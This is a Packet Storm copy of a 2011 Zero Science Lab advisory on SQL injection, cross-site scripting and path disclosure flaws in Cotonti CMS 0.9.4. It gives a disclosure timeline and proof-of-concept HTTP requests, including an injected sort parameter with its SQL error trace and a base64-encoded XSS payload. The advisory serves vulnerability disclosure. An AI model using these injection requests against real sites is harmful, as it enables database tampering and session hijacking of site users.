what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cotonti CMS 0.9.4 Cross Site Scripting / SQL Injection

Cotonti CMS 0.9.4 Cross Site Scripting / SQL Injection
Posted Oct 11, 2011
Authored by LiquidWorm | Site zeroscience.mk

Cotonti CMS version 0.9.4 suffers from cross site scripting and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | b78c131af15357169e90a8032c9b2b2eab261a641f5750e9c8d881852f3be7e0

Cotonti CMS 0.9.4 Cross Site Scripting / SQL Injection

Change Mirror Download

Cotonti CMS v0.9.4 Multiple Remote Vulnerabilities


Vendor: Cotonti Team
Product web page: http://www.cotonti.com
Affected version: 0.9.4 (Siena)

Summary: Cotonti is a powerful open-source web development
framework and content manager with a focus on security,
speed and flexibility.

Desc: Input passed via the parameters 'redirect.php' in
'message.php' and 'w' and 'd' in 'index.php' script are
not properly sanitised before being returned to the user
or used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code or execute
arbitrary HTML and script code in a user's browser session
in context of an affected site. Path disclosure resides in
the 'sq' parameter in '/plugins/search/search.php' script.

Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41


Vulnerabilities discovered by LiquidWorm and badc0re
@zeroscience


Vendor status:

[18.09.2011] Path disclosure discovered.
[18.09.2011] Contact with the vendor with sent details.
[18.09.2011] Vendor responds promising patch in 0.9.5 release.
[27.09.2011] SQL Injection and XSS discovered.
[28.09.2011] Contact with the vendor with sent details.
[09.10.2011] No response from vendor.
[10.10.2011] Public security advisory released.



Advisory ID: ZSL-2011-5051
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5051.php


---

PoC #1 [pd]:

========================

Request:

- GET http://localhost/cotonti/index.php?e=search&sq=%5C'%5C'%5C'%5C'%5C'&rs%5Bsetlimit%5D=0&rs%5Bday%5D=18&rs%5Bmonth%5D=9&rs%5Byear%5D=2010&rs%5Bday%5D=18&rs%5Bmonth%5D=9&rs%5Byear%5D=2011&rs%5Bsetuser%5D=&rs%5Bpagsub%5D%5B%5D=all&rs%5Bpagtitle%5D=1&rs%5Bpagdesc%5D=1&rs%5Bpagtext%5D=1&rs%5Bpagsort%5D=date&rs%5Bpagsort2%5D=ASC&rs%5Bfrmsub%5D%5B%5D=all&rs%5Bfrmtitle%5D=1&rs%5Bfrmtext%5D=1&rs%5Bfrmsort%5D=updated'INJECTED_PARAM'INJECTED_PARAM&rs%5Bfrmsort2%5D=ASC HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Proxy-Connection: keep-alive
Referer: http://localhost/cotonti/index.php?e=search&sq=%27%27%27%27%27&rs[setlimit]=0&rs[day]=18&rs[month]=9&rs[year]=2010%271%27&rs[day]=18&rs[month]=9&rs[year]=2011&rs[setuser]=&rs[pagsub][]=all&rs[pagtitle]=1&rs[pagdesc]=1&rs[pagtext]=1&rs[pagsort]=date&rs[pagsort2]=ASC&rs[frmsub][]=all&rs[frmtitle]=1&rs[frmtext]=1&rs[frmsort]=updated&rs[frmsort2]=ASC
Cookie: PHPSESSID=bnq658i0omp7t3u654i85llj51
Content-length: 0

Response:

- Fatal error: SQL error 42S22: Column not found: 1054 Unknown column 'ft_updatedINJECTED_PARAMINJECTED_PARAM' in 'order clause'

#0 cot_diefatal(SQL error 42S22: Column not found: 1054 Unknown column 'ft_updatedINJECTED_PARAMINJECTED_PARAM' in 'order clause') called at [D:\xampp2\htdocs\cotonti\system\database.php:436]
#1 CotDB->query(SELECT SQL_CALC_FOUND_ROWS p.*, t.*
FROM cot_forum_posts AS p, cot_forum_topics AS t
WHERE t.ft_cat IN ('pub','general','offtopic') AND (t.ft_title LIKE '%\\\\\\\'\\\\\\\'\\\\\\\'\\\\\\\'\\\\\\\'%' OR p.fp_text LIKE '%\\\\\\\'\\\\\\\'\\\\\\\'\\\\\\\'\\\\\\\'%') AND p.fp_topicid = t.ft_id
GROUP BY t.ft_id ORDER BY ft_updatedINJECTED_PARAMINJECTED_PARAM ASC
LIMIT 0, 50) called at [D:\xampp2\htdocs\cotonti\plugins\search\search.php:367]
#2 include(D:\xampp2\htdocs\cotonti\plugins\search\search.php) called at [D:\xampp2\htdocs\cotonti\system\plugin.php:94]
#3 require_once(

========================


PoC #2 [xss]:

========================


- GET /cotonti-0.9.4/message.php?lng=page_confirm_unvalidate&m=page&msg=920&redirect=IiBvbm1vdXNlb3Zlcj1wcm9tcHQoOTk2NTQ5KSBiYWQ9Ig%3d%3d HTTP/1.1

========================


PoC #3 [sqli]:

========================

- GET http://localhost/cotonti-0.9.4/index.php?e=page&id=[SQLi]&m=edit HTTP/1.1

- GET http://localhost/cotonti-0.9.4/index.php?e=users&f=all&s=regdate&w=[SQLi] HTTP/1.1
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close